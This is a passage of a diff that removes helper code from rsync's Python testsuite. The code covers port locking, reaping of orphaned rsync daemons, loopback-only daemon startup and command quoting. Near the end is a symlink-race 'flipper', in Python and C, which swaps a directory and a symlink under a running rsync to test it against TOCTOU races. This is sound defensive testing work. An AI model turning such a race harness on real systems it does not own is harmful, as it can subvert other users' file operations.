os.kill(pid, 0)\n-    except OSError:\n-        return False\n-    for argv in (['ps', '-p', str(pid), '-o', 'comm='], ['ps', '-p', str(pid)]):\n-        try:\n-            r = subprocess.run(argv, stdout=subprocess.PIPE,\n-                               stderr=subprocess.DEVNULL, text=True, timeout=5)\n-        except (OSError, subprocess.SubprocessError):\n-            return False\n-        if r.returncode == 0:          # ps understood the form -> answer is definitive\n-            return 'rsync' in r.stdout\n-    return False                       # no ps form worked -> don't kill\n-\n-\n-def _wait_pid_gone(pid: int, timeout: float) -> bool:\n-    \"\"\"Poll up to `timeout` seconds for `pid` to stop being a live rsync.\n-\n-    SIGKILL is asynchronous: the process may still be visible for a moment\n-    after it is signalled, so a single immediate check would call a dying\n-    process \"still alive\".\"\"\"\n-    deadline = time.monotonic() + timeout\n-    while True:\n-        if not _pid_is_rsync(pid):\n-            return True\n-        if time.monotonic() >= deadline:\n-            return False\n-        time.sleep(0.1)\n-\n-\n-def _reap_group(pgid: int, pid: int) -> bool:\n-    \"\"\"Kill the test's whole process group (daemon + its clients + flipper) when\n-    `pid` is still a live rsync -- the portable recycle guard, so we only ever\n-    signal a group still running our rsync.  killpg(pgid) sweeps the group in one\n-    shot (the test driver runs in its own session, so the group is exactly that\n-    test's tree); if the pgid is unusable, fall back to killing the daemon pid\n-    alone.\n-\n-    Returns True only when the daemon is CONFIRMED GONE, not merely when a\n-    signal was accepted.  The caller clears the port's registry entry on a True\n-    return, and that entry is the only handle anyone has on the process; on\n-    Cygwin a signal is routinely accepted by a process that then ignores it, so\n-    trusting the accept would discard the record while the port stays squatted\n-    -- leaving an occupant nothing can identify or reap.\n-\n-    The confirmation is a bounded poll, not a single immediate check: SIGKILL is\n-    asynchronous, so a process still winding down is normal and answering\n-    \"not gone\" for it would make _probe_bindable() skip its retry and fail the\n-    test for a port that was about to free itself.\"\"\"\n-    if not _pid_is_rsync(pid):\n-        return False\n-    try:\n-        if pgid > 1 and pgid != os.getpgrp():\n-            os.killpg(pgid, signal.SIGKILL)\n-        else:\n-            os.kill(pid, signal.SIGKILL)\n-    except OSError:\n-        try:\n-            os.kill(pid, signal.SIGKILL)\n-        except OSError:\n-            pass\n-    if _wait_pid_gone(pid, 2.0):\n-        return True\n-    # Survived SIGKILL: on Cygwin that means it is stuck in a Windows call,\n-    # where only Windows can end it.\n-    _win_force_kill(pid)\n-    return _wait_pid_gone(pid, 2.0)\n-\n-\n-def _reap_orphan_daemon(port: int) -> bool:\n-    \"\"\"Kill an orphaned test process group squatting `port`, if we can identify it.\n-\n-    We hold the claim_ports() exclusive lock for `port`, so nothing we coordinate\n-    with owns it -- a still-bound port is an orphan a SIGKILLed run stranded (off\n-    Linux there's no PR_SET_PDEATHSIG backstop, so its --no-detach rsyncd outlives\n-    the test). start_rsyncd recorded that test's (pgid, pid); if the pid is still a\n-    live rsync, killpg the group. Returns True if it signalled something (caller\n-    re-probes the bind). Pure os/ps calls -> every platform.\"\"\"\n-    pgid, pid = _read_port_proc(port)\n-    if not _reap_group(pgid, pid):\n-        return False\n-    _record_port_proc(port, 0, 0)\n-    time.sleep(0.2)   # let the kernel release the socket before the re-probe\n-    return True\n-\n-\n-def _reap_stale_daemons() -> 'None':\n-    \"\"\"Intra-run sweep: kill every orphaned test rsyncd recorded in the lock file\n-    whose port-lock is free (no live test owns it), and clear its record.\n-\n-    _reap_orphan_daemon() only fires when a NEW test claims the *same* port an\n-    orphan still squats; a daemon a SIGKILLed/timed-out test stranded on a port\n-    nothing else re-claims would otherwise linger for the whole run (off Linux\n-    there's no PR_SET_PDEATHSIG backstop), accumulating and exhausting ports until\n-    a later race test wedges.  This sweeps the whole pid registry so each test\n-    process reaps the leaks left by earlier ones.\n-\n-    Run once per test process at the first claim_ports(), BEFORE this process has\n-    recorded any daemon of its own, so it never kills our own rsyncd.  A port a\n-    live concurrent test holds keeps its byte-lock, so LOCK_NB skips it; only a\n-    free-locked port with a recorded live rsync pid is a genuine orphan.\"\"\"\n-    if _port_lock_fd is None:\n-        return\n-    try:\n-        size = os.fstat(_port_lock_fd).st_size\n-    except OSError:\n-        return\n-    if size <= _PORT_PID_BASE:\n-        return\n-    try:\n-        region = os.pread(_port_lock_fd, size - _PORT_PID_BASE, _PORT_PID_BASE)\n-    except OSError:\n-        return\n-    for port in range(min(len(region) // _PORT_PID_REC, 65536)):\n-        pgid, pid = struct.unpack('=ii', region[port*_PORT_PID_REC:(port+1)*_PORT_PID_REC])\n-        if pid <= 1:\n-            continue\n-        # Grab the port's byte-lock non-blocking: success => no live test owns it.\n-        try:\n-            fcntl.lockf(_port_lock_fd, fcntl.LOCK_EX | fcntl.LOCK_NB, 1, port)\n-        except OSError:\n-            continue   # a live test holds it -- not an orphan, leave it alone\n-        try:\n-            if _reap_group(pgid, pid):\n-                _record_port_proc(port, 0, 0)\n-        finally:\n-            try:\n-                fcntl.lockf(_port_lock_fd, fcntl.LOCK_UN, 1, port)\n-            except OSError:\n-                pass\n-\n-\n-def _probe_bindable(port: int, _reaped: bool = False, fatal: bool = True) -> bool:\n-    \"\"\"Confirm `port` is actually free once we hold its claim_ports() lock.\n-\n-    The byte-range lock only coordinates *live* test drivers, and the kernel\n-    releases it the instant the holding process dies -- even if that driver left\n-    an orphaned daemon still bound to the port. That happens when a run is\n-    SIGKILLed (or its ssh drops) on a platform with no parent-death backstop:\n-    rsyncfns only arms PR_SET_PDEATHSIG, which is Linux-only, so on the\n-    BSDs/Solaris/macOS a killed fleettest run can strand its rsyncd, which then\n-    squats the fixed test port. Because we recorded that rsyncd's pid in the lock\n-    file (and hold the lock now, proving it's not a live run), we can reap it and\n-    retry rather than failing -- see _reap_orphan_daemon.\n-\n-    So actually try to bind it. SO_REUSEADDR is used so a port merely in\n-    TIME_WAIT (recently and cleanly closed) is NOT a false positive; only a\n-    live bound/listening socket -- a real squatter -- makes the bind fail. The\n-    probe socket is closed immediately, freeing the port for the daemon that is\n-    about to bind it.\n-    \"\"\"\n-    s = _socket.socket(_socket.AF_INET, _socket.SOCK_STREAM)\n-    s.setsockopt(_socket.SOL_SOCKET, _socket.SO_REUSEADDR, 1)\n-    try:\n-        s.bind(('127.0.0.1', port))\n-        return True\n-    except OSError as e:\n-        err = e\n-    finally:\n-        s.close()\n-    # Bound by a squatter. If it's our own stranded orphan, kill it and retry once.\n-    if not _reaped and _reap_orphan_daemon(port):\n-        return _probe_bindable(port, _reaped=True, fatal=fatal)\n-    if not fatal:\n-        return False\n-    test_fail(\n-        f\"port {port} was claimed for this run but something is still bound \"\n-        f\"to 127.0.0.1:{port} ({err.strerror}). The claim_ports() lock only \"\n-        \"serializes live test runs, so a still-bound port almost always \"\n-        \"means an orphaned 'rsync --daemon' from a previously killed run \"\n-        f\"(find it with `fstat | grep {port}` / `netstat -an | grep {port}` \"\n-        \"and kill it, or run `fleettest.py --cleanup`), then retry.\")\n-    return False\n-\n-\n-def claim_ports(*ports: int) -> 'None':\n-    \"\"\"Reserve the given TCP port numbers for the rest of this process.\n-\n-    Uses POSIX byte-range locks on /tmp/rsync_test.lck (one byte per port,\n-    offset = port number) so that any number of tests can run in parallel\n-    without colliding on a port: if another test has already claimed any of\n-    the requested ports the call blocks until that test exits. The kernel\n-    drops POSIX advisory locks automatically when the holding process\n-    terminates, so a crashed test releases its ports without manual\n-    cleanup.\n-\n-    Ports are claimed in sorted order, so two callers that ask for the same\n-    set in different orders can't deadlock against each other.\n-\n-    Call once near the top of any test that binds to a specific TCP port,\n-    BEFORE the bind:\n-\n-        from rsyncfns import claim_ports\n-        claim_ports(12873)\n-        listener = socket.socket(...)\n-        listener.bind(('127.0.0.1', 12873))\n-\n-    The lock file lives in /tmp so it's shared across all rsync test\n-    processes on the host. Ports outside the claim_ports() ecosystem are\n-    not protected -- nothing stops an unrelated process from binding the\n-    port. For the rsync testsuite that's fine; we just need to avoid\n-    collisions between concurrent test scripts.\n-    \"\"\"\n-    global _port_lock_fd, _reaped_stale\n-    if _port_lock_fd is None:\n-        _port_lock_fd = _open_lock_file()\n-    if not _reaped_stale:\n-        # Intra-run cleanup: reap any daemon an earlier test in this run stranded,\n-        # BEFORE we record one of our own.  Once per process is enough.\n-        _reaped_stale = True\n-        _reap_stale_daemons()\n-    for port in sorted(ports):\n-        # F_SETLKW via fcntl.lockf(LOCK_EX, length, start): exclusive\n-        # byte-range lock on byte `port`, blocking until acquired.\n-        fcntl.lockf(_port_lock_fd, fcntl.LOCK_EX, 1, port)\n-        # The lock only proves no other live test run owns the port; an orphaned\n-        # daemon from a killed run can still squat it (see _probe_bindable).\n-        _probe_bindable(port)\n-\n-\n-def claim_free_port(preferred: int) -> int:\n-    \"\"\"Claim `preferred`, or a nearby port if something else is squatting it.\n-\n-    claim_ports() fails loudly on an occupied port, which is right for a test\n-    that binds the port itself: it must not silently drift away from the number\n-    it is about to bind.  start_test_daemon() owns both the bind and the URL it\n-    hands back, so it can simply move instead -- and needs to, because a fixed\n-    test port can be permanently held by unrelated software on a shared CI box\n-    (a vendor service was found sitting on 13010 on the Windows/Cygwin target),\n-    which no amount of orphan reaping will free.\n-\n-    Returns the port actually claimed.\n-    \"\"\"\n-    global _port_lock_fd, _reaped_stale\n-    if _port_lock_fd is None:\n-        _port_lock_fd = _open_lock_file()\n-    if not _reaped_stale:\n-        _reaped_stale = True\n-        _reap_stale_daemons()\n-    candidates = [preferred] + [preferred + off for off in (1000, 2000, 3000, 4000)]\n-    for port in candidates:\n-        if not 1024 < port < 65536:\n-            continue\n-        fcntl.lockf(_port_lock_fd, fcntl.LOCK_EX, 1, port)\n-        if _probe_bindable(port, fatal=False):\n-            return port\n-    test_fail(\n-        f\"no usable TCP port near {preferred}: every candidate \"\n-        f\"({', '.join(str(p) for p in candidates)}) is bound by something \"\n-        \"outside the testsuite.  Check with `netstat -an` and free one, or \"\n-        \"run `fleettest.py --cleanup` if they are stranded test daemons.\")\n-    return preferred\n-\n-\n-# --- standalone rsyncd helpers ---------------------------------------------\n-\n-def _set_pdeathsig() -> 'None':\n-    \"\"\"Linux: ask the kernel to send SIGTERM to us if our parent dies.\n-    A no-op on every other platform. Used as preexec_fn so a kill -9 of\n-    the test process doesn't strand the rsyncd we spawned.\n-\n-    The daemon deliberately stays in the TEST's process group: runtests.py\n-    killpg's that group when a test times out, and that is what keeps a\n-    timed-out test from stranding its daemon. Giving the daemon a group of\n-    its own would put it out of reach of that sweep; its per-connection\n-    children are handled by _daemon_children() instead.\"\"\"\n-    if not sys.platform.startswith('linux'):\n-        return\n-    try:\n-        import ctypes\n-        libc = ctypes.CDLL('libc.so.6', use_errno=True)\n-        PR_SET_PDEATHSIG = 1\n-        libc.prctl(PR_SET_PDEATHSIG, 15, 0, 0, 0)  # 15 == SIGTERM\n-    except OSError:\n-        pass\n-\n-\n-def _win_force_kill(pid: int) -> 'None':\n-    \"\"\"Cygwin last resort: terminate `pid` through Windows.\n-\n-    Cygwin signals are cooperative -- delivered via a helper thread in the\n-    target -- so a process sitting in a Windows call ignores even SIGKILL.\n-    Such a process keeps its listening socket and cannot be reaped by any\n-    amount of kill/killpg/pkill. Map the cygwin pid to its Windows pid (the\n-    4th column of `ps -W`) and let Windows do it. A no-op elsewhere.\"\"\"\n-    if not sys.platform.startswith('cygwin'):\n-        return\n-    try:\n-        r = subprocess.run(['ps', '-W'], capture_output=True, text=True, timeout=10)\n-    except (OSError, subprocess.SubprocessError):\n-        return\n-    for line in r.stdout.splitlines():\n-        f = line.split()\n-        if len(f) >= 4 and f[0] == str(pid):\n-            try:\n-                subprocess.run(['taskkill', '/F', '/PID', f[3]],\n-                               capture_output=True, timeout=10)\n-            except (OSError, subprocess.SubprocessError):\n-                pass\n-            return\n-\n-\n-def _daemon_children(pid: int) -> list:\n-    \"\"\"PIDs whose parent is `pid` -- the connection handlers rsyncd forked.\n-\n-    Cygwin's ps understands neither -A nor -o, but `ps -W` prints\n-    PID PPID PGID WINPID as its first four columns; everywhere else POSIX\n-    `ps -A -o pid=,ppid=` does the job. Returns [] if neither works: the\n-    caller then just kills the parent, which is the old behaviour.\"\"\"\n-    argv = (['ps', '-W'] if sys.platform.startswith('cygwin')\n-            else ['ps', '-A', '-o', 'pid=,ppid='])\n-    try:\n-        r = subprocess.run(argv, capture_output=True, text=True, timeout=10)\n-    except (OSError, subprocess.SubprocessError):\n-        return []\n-    kids = []\n-    for line in r.stdout.splitlines():\n-        f = line.split()\n-        if len(f) >= 2 and f[1] == str(pid):\n-            try:\n-                kids.append(int(f[0]))\n-            except ValueError:\n-                pass\n-    return kids\n-\n-\n-def _kill_pid(pid: int) -> 'None':\n-    \"\"\"SIGTERM, then SIGKILL, then -- on Cygwin -- Windows.\n-\n-    Gated on _pid_is_rsync at every step: these pids were snapshotted before the\n-    parent was killed, so between the snapshot and the signal a child can exit\n-    and the kernel can hand its pid to something else. Re-checking that the pid\n-    is STILL a live rsync before each signal keeps a recycled pid from getting\n-    the harness to kill an unrelated process.\n-\n-    KNOWN LIMITATION: check-then-signal is inherently a TOCTOU, so the window is\n-    narrowed to microseconds rather than closed -- the pid would have to be\n-    recycled onto ANOTHER rsync in that gap to matter. Closing it properly needs\n-    a stable process reference (pidfd, or a retained Windows handle), which is\n-    per-platform machinery this suite has to run on seven of; the same guard is\n-    what _reap_group() has always used.\"\"\"\n-    for sig in (signal.SIGTERM, signal.SIGKILL):\n-        if not _pid_is_rsync(pid):\n-            return          # gone, or the pid now belongs to someone else\n-        try:\n-            os.kill(pid, sig)\n-        except OSError:\n-            return          # already gone\n-        time.sleep(0.3)\n-    if _pid_is_rsync(pid):\n-        _win_force_kill(pid)\n-\n-\n-def _stop_rsyncd(proc) -> 'None':\n-    \"\"\"Stop the test daemon AND the connection handlers it forked.\n-\n-    Killing proc alone -- the only pid the Popen handle knows -- is what left\n-    the orphan: rsyncd forks a child per connection, and one still winding up\n-    or down when the test ends outlives the parent, inherits the listening\n-    socket and squats the port. Snapshot the children BEFORE killing the\n-    parent, because once it is gone they are reparented to init and no longer\n-    identifiable as ours.\n-\n-    KNOWN LIMITATION: that is also why nothing is collected when the parent has\n-    ALREADY exited on its own (it crashed, say) while a child still holds the\n-    port -- by then the parent-child link this relies on is gone. The runner's\n-    per-test-timeout killpg covers the common case, since the daemon stays in\n-    the test's process group; `fleettest.py --cleanup` sweeps the rest.\"\"\"\n-    if proc.poll() is not None:\n-        return\n-    kids = _daemon_children(proc.pid)\n-    try:\n-        proc.terminate()\n-        proc.wait(timeout=2)\n-    except subprocess.TimeoutExpired:\n-        try:\n-            proc.kill()\n-            proc.wait(timeout=1)\n-        except (subprocess.TimeoutExpired, OSError):\n-            pass\n-        _win_force_kill(proc.pid)\n-    except OSError:\n-        pass\n-    for kid in kids:\n-        _kill_pid(kid)\n-\n-\n-def _cleanup_rsyncd(proc, port: int) -> 'None':\n-    \"\"\"atexit handler: stop the daemon and clear its pid slot. A clean exit thus\n-    leaves no orphan to reap; only a SIGKILL (which skips atexit) leaves the slot\n-    set -- exactly the case _reap_orphan_daemon() needs it for.\n-\n-    The slot is kept only while it still NAMES something reapable -- i.e. our\n-    daemon pid is somehow still a live rsync, which on Cygwin means it ignored\n-    the kill. That is the only case where the record buys a later run anything.\n-\n-    Keying this on the port being busy instead looks safer but is worse: a port\n-    sits in TIME_WAIT after a passing test, so a plain bind fails and a record\n-    naming an already-dead pid is retained forever. Nothing ever clears such a\n-    record, and if that pid is later recycled onto an unrelated rsync the stale\n-    sweep would signal it. A record naming a dead process cannot help anyone --\n-    every reaper rejects it at the _pid_is_rsync guard -- so clearing it is\n-    strictly better.\n-\n-    KNOWN LIMITATION: if the daemon parent died on its own while a connection\n-    child still held the port, that child is unreachable either way -- the\n-    record only ever named the parent. `fleettest.py --cleanup` sweeps it.\"\"\"\n-    _stop_rsyncd(proc)\n-    if not _pid_is_rsync(proc.pid):\n-        _record_port_proc(port, 0, 0)\n-\n-\n-def start_rsyncd(conf_path, port: int, rsync_cmd: str = None,\n-                 stdin=subprocess.DEVNULL, address: str = '127.0.0.1') -> 'subprocess.Popen':\n-    \"\"\"Spawn `rsync --daemon --no-detach --address=ADDRESS --port=N\n-    --config=conf` and return the Popen handle after the port is accepting\n-    connections.\n-\n-    The daemon is bound to LOOPBACK ONLY: without an explicit address,\n-    rsync --daemon binds 0.0.0.0 and the test modules would be reachable from\n-    the whole LAN. The daemon is killed automatically when this Python\n-    process exits (atexit). On Linux, the kernel also signals SIGTERM to the\n-    daemon if the parent dies abruptly (PR_SET_PDEATHSIG), so a SIGKILL on\n-    the test process doesn't strand the daemon either. The caller is expected\n-    to have already claim_ports()'d `port`.\n-\n-    rsync_cmd selects the binary to run as the daemon; it defaults to\n-    RSYNC_PEER (the peer side of a two-sided run), so ordinary daemon tests\n-    get current-client <-> peer-daemon. The reverse-direction test passes\n-    rsync_cmd=RSYNC to put the current build on the daemon side and drive with\n-    the old client. stdin may override the default /dev/null input when a test\n-    needs to exercise daemon launch detection.\n-\n-    This is only ever reached from start_test_daemon() in --use-tcp mode; the\n-    default (pipe) mode never starts a listening daemon.\n-    \"\"\"\n-    if address not in ('127.0.0.1', '::1'):\n-        test_fail(f\"test daemon address is not loopback: {address}\")\n-    argv = shlex.split(rsync_cmd or RSYNC_PEER) + [\n-        '--daemon', '--no-detach',\n-        f'--address={address}',\n-        f'--port={port}',\n-        f'--config={conf_path}',\n-    ]\n-    proc = subprocess.Popen(\n-        argv,\n-        stdin=stdin,\n-        stdout=subprocess.DEVNULL,\n-        stderr=subprocess.DEVNULL,\n-        preexec_fn=_set_pdeathsig,\n-    )\n-    # Record this test's process group (os.getpgrp() -- the daemon and its clients\n-    # and flipper all live in the per-test session runtests.py started) together\n-    # with this --no-detach rsyncd's pid, while we still hold the port's lock, so a\n-    # later test/run can killpg the whole stranded tree (see _reap_orphan_daemon).\n-    _record_port_proc(port, os.getpgrp(), proc.pid)\n-    atexit.register(_cleanup_rsyncd, proc, port)\n-\n-    deadline = time.monotonic() + 10\n-    last_err = None\n-    while time.monotonic() < deadline:\n-        if proc.poll() is not None:\n-            test_fail(\n-                f\"rsyncd exited before listening on port {port} \"\n-                f\"(status={proc.returncode})\"\n-            )\n-        try:\n-            with _socket.create_connection((address, port), timeout=0.5):\n-                return proc\n-        except OSError as e:\n-            last_err = e\n-            time.sleep(0.05)\n-\n-    _stop_rsyncd(proc)\n-    test_fail(f\"rsyncd never listened on {address}:{port}: {last_err}\")\n-\n-\n-def start_test_daemon(conf_path, port: int, rsync_cmd: str = None,\n-                      address: str = '127.0.0.1') -> str:\n-    \"\"\"Bring up the test daemon and return a URL prefix for client commands.\n-\n-    rsync_cmd selects the daemon-side binary (default RSYNC_PEER); pass\n-    rsync_cmd=RSYNC for the reverse-direction test (current daemon, old client).\n-\n-    This is the single seam every daemon test uses. The transport depends on\n-    the mode the runner selected:\n-\n-      * DEFAULT (secure) -- no TCP socket at all. Sets RSYNC_CONNECT_PROG so\n-        the rsync client forks the daemon over a private stdio pipe. Returns\n-        'rsync://localhost/'. Another local user can't reach it; nothing is\n-        listening.\n-\n-      * --use-tcp -- starts a real rsyncd bound to IPv4 loopback by default,\n-        or to the selected loopback address, on the claim_ports()-reserved\n-        port. Off-host/LAN access is impossible; a same-host user could still\n-        connect during the test window, which is the documented, accepted cost\n-        of explicitly opting into TCP.\n-\n-    Build URLs as f\"{prefix}module/path\". `port` is only used (and claimed)\n-    in --use-tcp mode.\n-    \"\"\"\n-    daemon_cmd = rsync_cmd or RSYNC_PEER\n-    if USE_TCP:\n-        port = claim_free_port(port)\n-        start_rsyncd(conf_path, port, daemon_cmd, address=address)\n-        host = 'localhost' if address == '127.0.0.1' else f'[{address}]'\n-        return f'rsync://{host}:{port}/'\n-    # RSYNC_CONNECT_PROG is run by a shell, so every word has to survive\n-    # re-parsing: a build path with a space would otherwise exec its prefix.\n-    os.environ['RSYNC_CONNECT_PROG'] = (\n-        f'{rsync_path_arg(daemon_cmd)} --config={shlex.quote(str(conf_path))} --daemon')\n-    return 'rsync://localhost/'\n-\n-\n-def require_tcp(reason: str) -> 'None':\n-    \"\"\"Skip the test (exit 77) unless we're in --use-tcp mode. For tests that\n-    fundamentally need a real listening socket / TCP peer and have no secure\n-    pipe equivalent (the fake-proxy listener; the reverse-DNS hostname-ACL\n-    daemon test).\"\"\"\n-    if not USE_TCP:\n-        test_skipped(reason)\n-\n-\n-def require_asan(reason: str, which: str = None) -> 'None':\n-    \"\"\"Skip the test (exit 77) unless the rsync binary is AddressSanitizer-\n-    instrumented. `which` defaults to the daemon/peer command (RSYNC_PEER);\n-    pass RSYNC to check the client side. Detection runs the binary with\n-    ASAN_OPTIONS=help=1, which makes an instrumented binary print the ASan\n-    flag help banner to stderr.\"\"\"\n-    cmd = split_rsync_cmd(which or RSYNC_PEER)\n-    try:\n-        r = subprocess.run(cmd + ['--version'],\n-                           env={**os.environ, 'ASAN_OPTIONS': 'help=1'},\n-                           stdout=subprocess.DEVNULL, stderr=subprocess.PIPE,\n-                           timeout=15)\n-    except Exception:\n-        test_skipped(reason)\n-        return\n-    if b'AddressSanitizer' not in r.stderr:\n-        test_skipped(reason)\n-\n-\n-def rsh_cmd(cmd: str = None, *opts: str) -> str:\n-    \"\"\"Build an RSYNC_RSH / --rsh value, quoted for rsync's own tokenizer.\n-\n-    rsync splits this string on spaces itself -- honouring ' and \", see do_cmd()\n-    in main.c -- so a remote-shell path containing a space must be quoted or\n-    rsync execs only the first word.  The testsuite's srcdir can contain one.\n-    \"\"\"\n-    if cmd is None:\n-        cmd = str(SRCDIR / 'support' / 'lsh.sh')\n-    return ' '.join([shlex.quote(cmd), *opts])\n-\n-\n-def rsync_path_arg(cmd: str = None) -> str:\n-    \"\"\"Value for --rsync-path, quoted for the shell that will re-parse it.\n-\n-    --rsync-path is a command line run by the remote shell, not a filename, so\n-    rsync hands it over unquoted and the far side word-splits it.  A build path\n-    containing a space therefore needs quoting here, while a wrapper command\n-    ('valgrind ... /build/rsync') must stay several words.  Splitting and\n-    re-joining with shlex gives both: each word is quoted only if it needs it.\n-    \"\"\"\n-    return shlex.join(split_rsync_cmd(RSYNC_PEER if cmd is None else cmd))\n-\n-\n-def rsync_argv(*args: str) -> list:\n-    \"\"\"Return the argv for invoking rsync with the given extra arguments.\n-\n-    RSYNC may be a multi-word command (e.g. 'valgrind ... /build/rsync'); we\n-    shlex-split it so subprocess sees a proper argv list. Each *args entry\n-    is appended verbatim, so callers should pass tokens already split (no\n-    embedded option/value joined by spaces).\n-    \"\"\"\n-    return split_rsync_cmd(RSYNC) + list(args)\n-\n-\n-import functools as _functools\n-\n-\n-@_functools.lru_cache(maxsize=64)\n-def rsync_supports(flag: str) -> bool:\n-    \"\"\"Does the configured rsync binary accept ``flag``?\n-\n-    Probes by invoking ``rsync <flag> --version`` and checking the exit code +\n-    stderr.  C rsync accepts every flag we'd care about and exits 0 before\n-    --version prints; other implementations (gokrazy/rsync, openrsync) reject\n-    unsupported flags with \"unknown option\" / \"unrecognized option\" /\n-    \"no such option\" and a non-zero exit.\n-\n-    Used by tests that want to *optionally* pass a hardening flag like\n-    `--no-inc-recursive` (only meaningful where the implementation has\n-    incremental recursion to disable).  When the probe is inconclusive (e.g.\n-    timeout) the helper returns True so tests fall back to today's C-rsync\n-    behaviour.\n-    \"\"\"\n-    try:\n-        r = subprocess.run(rsync_argv(flag, '--version'),\n-                           capture_output=True, text=True, timeout=5)\n-    except (subprocess.TimeoutExpired, OSError):\n-        return True\n-    if r.returncode == 0:\n-        return True\n-    stderr = (r.stderr or '').lower()\n-    for marker in ('unknown option', 'unrecognized option', 'no such option'):\n-        if marker in stderr:\n-            return False\n-    # Non-zero exit but no recognizable \"unknown\" marker -- assume supported.\n-    return True\n-\n-\n-def forced_protocol():\n-    \"\"\"The protocol version pinned via --protocol=N in the RSYNC command, or\n-    None when the run isn't pinning one (so the binary negotiates its newest).\n-    Protocol-sensitive tests use this to gate sub-cases -- e.g. the split\n-    between --append and --append-verify only exists at protocol >= 30; at\n-    protocol 29 plain --append behaves like the old verifying append.\"\"\"\n-    import re\n-    m = re.search(r'--protocol[ =](\\d+)', RSYNC)\n-    return int(m.group(1)) if m else None\n-\n-\n-def run_rsync(*args: str, check: bool = True,\n-              capture_output: bool = False) -> subprocess.CompletedProcess:\n-    \"\"\"Run rsync with the given arguments.\n-\n-    By default, stdout/stderr inherit (so the runner captures them in the\n-    per-test log). Set capture_output=True if the test needs to inspect the\n-    output. If check is True (the default), a non-zero exit calls\n-    test_fail() with the rsync command line.\n-    \"\"\"\n-    argv = rsync_argv(*args)\n-    if capture_output:\n-        proc = subprocess.run(argv, capture_output=True, text=True)\n-    else:\n-        proc = subprocess.run(argv)\n-    if check and proc.returncode != 0:\n-        test_fail(f\"rsync exited {proc.returncode}: {' '.join(argv)}\")\n-    return proc\n-\n-\n-# --- filesystem helpers ----------------------------------------------------\n-\n-def makepath(*paths) -> 'None':\n-    \"\"\"Equivalent of rsync.fns makepath: mkdir -p, but for multiple paths.\"\"\"\n-    for p in paths:\n-        os.makedirs(p, exist_ok=True)\n-\n-\n-def rmtree(path) -> 'None':\n-    \"\"\"Remove a tree if it exists, ignoring missing entries.\"\"\"\n-    p = Path(path)\n-    if p.exists() or p.is_symlink():\n-        shutil.rmtree(p, ignore_errors=True)\n-\n-\n-def is_a_link(path) -> bool:\n-    \"\"\"True if 'path' is a symbolic link (dangling or not).\"\"\"\n-    return os.path.islink(path)\n-\n-\n-def start_path_flipper(name_a, name_b):\n-    \"\"\"Spawn a separate PROCESS that repeatedly swaps two sibling paths\n-    name_a <-> name_b in a tight rename loop, for TOCTOU symlink-race tests:\n-    point one at a real directory and the other at a symlink so the shared name\n-    keeps flipping between a directory and a symlink under a running rsync.\n-\n-    A separate process (not a thread) is used deliberately: a Python thread\n-    contends with the test's own loop for the GIL and flips far too slowly to\n-    win the race.  The swap is three renames via a scratch name in the same\n-    directory, so the shared name is absent only for the brief instant between\n-    two renames (rsync just gets ENOENT and retries).\n-\n-    The caller should stop it with stop_flipper(), but the flipper also\n-    self-terminates: it exits when its parent (the test process) goes away --\n-    os.getppid() changes once the test is reaped -- and after a hard deadline as a\n-    backstop.  Without this, a test killed before its stop_flipper() finally (a\n-    timeout, a crash) would leak an orphan that keeps renaming paths in the shared\n-    scratch and poisons later tests on the same box.  os.getppid() is POSIX, so\n-    this is portable across the fleet.\n-\n-    Returns a subprocess.Popen; the caller must stop it with stop_flipper().\"\"\"\n-    code = (\n-        \"import os, sys, time\\n\"\n-        \"a, b = sys.argv[1], sys.argv[2]\\n\"\n-        \"tmp = a + '.flip'\\n\"\n-        \"parent = os.getppid()\\n\"\n-        \"deadline = time.monotonic() + 300\\n\"\n-        \"while os.getppid() == parent and time.monotonic() < deadline:\\n\"\n-        \"    try:\\n\"\n-        \"        os.rename(a, tmp); os.rename(b, a); os.rename(tmp, b)\\n\"\n-        \"    except OSError:\\n\"\n-        \"        pass\\n\"\n-    )\n-    return subprocess.Popen([sys.executable, '-c', code, str(name_a), str(name_b)])\n-\n-\n-def stop_flipper(proc):\n-    \"\"\"Stop a start_path_flipper()/start_c_flipper() process.\"\"\"\n-    proc.terminate()\n-    try:\n-        proc.wait(timeout=2)\n-    except subprocess.TimeoutExpired:\n-        proc.kill()\n-        proc.wait()\n-\n-\n-# A compiled flipper wins TOCTOU races far more reliably than the Python one:\n-# on a journaled disk fs it does ~2x the swaps/sec with a plain rename loop and\n-# ~7x with renameat2(RENAME_EXCHANGE) -- which is also denser, as EXCHANGE is a\n-# single atomic syscall with no transient missing-name window.  Compiled on\n-# demand against the build's config.h so the renameat2/portability guards match\n-# the target; falls back to the Python flipper where no compiler is available.\n-_C_FLIPPER_SRC = r'''\n-/* testsuite flipper: repeatedly swap two sibling names a<->b so a shared path\n- * keeps flipping (typically real-dir <-> symlink) under a running rsync.\n- * Prefers atomic renameat2(RENAME_EXCHANGE); falls back to a 3-rename dance.\n- * Self-terminates when its parent (the test) goes away, plus a deadline\n- * backstop, so a killed test never leaks an orphan that poisons later tests.\n- * Built on demand by rsyncfns.compile_c_flipper(); not linked into rsync. */\n-#define _GNU_SOURCE 1\n-#include \"config.h\"\n-#include <stdio.h>\n-#include <stdlib.h>\n-#include <string.h>\n-#include <unistd.h>\n-#include <fcntl.h>\n-#include <errno.h>\n-#include <time.h>\n-#include <sys/stat.h>\n-#if defined(__linux__)\n-# include <sys/syscall.h>\n-# ifndef RENAME_EXCHANGE\n-#  define RENAME_EXCHANGE (1 << 1)\n-# endif\n-#endif\n-\n-static double mono(void) {\n-    struct timespec t;\n-    clock_gettime(CLOCK_MONOTONIC, &t);\n-    return t.tv_sec + t.tv_nsec / 1e9;\n-}\n-\n-static int use_exchange = 1;\n-\n-static void flip(const char *a, const char *b) {\n-#if defined(__linux__) && defined(SYS_renameat2)\n-    if (use_exchange) {\n-        if (syscall(SYS_renameat2, AT_FDCWD, a, AT_FDCWD, b, RENAME_EXCHANGE) == 0)\n-            return;\n-        if (errno == ENOSYS || errno == EINVAL || errno == EOPNOTSUPP)\n-            use_exchange = 0;   /* kernel or filesystem lacks EXCHANGE */\n-        else\n-            return;             /* transient race error (e.g. ENOENT): retry */\n-    }\n-#endif\n-    {\n-        char tmp[4096];\n-        if (snprintf(tmp, sizeof tmp, \"%s.flip\", a) >= (int)sizeof tmp)\n-            return;                 /* too long: don't act on a truncated name */\n-        rmdir(tmp); unlink(tmp);    /* clear a stale scratch from a wedged half-swap */\n-        if (rename(a, tmp) != 0) {\n-            mkdir(a, 0700);         /* a was consumed: recreate so the next loop swaps */\n-            return;\n-        }\n-        if (rename(b, a) != 0)\n-            rename(tmp, a);         /* b gone: restore a, retry next loop */\n-        else\n-            rename(tmp, b);         /* complete the swap 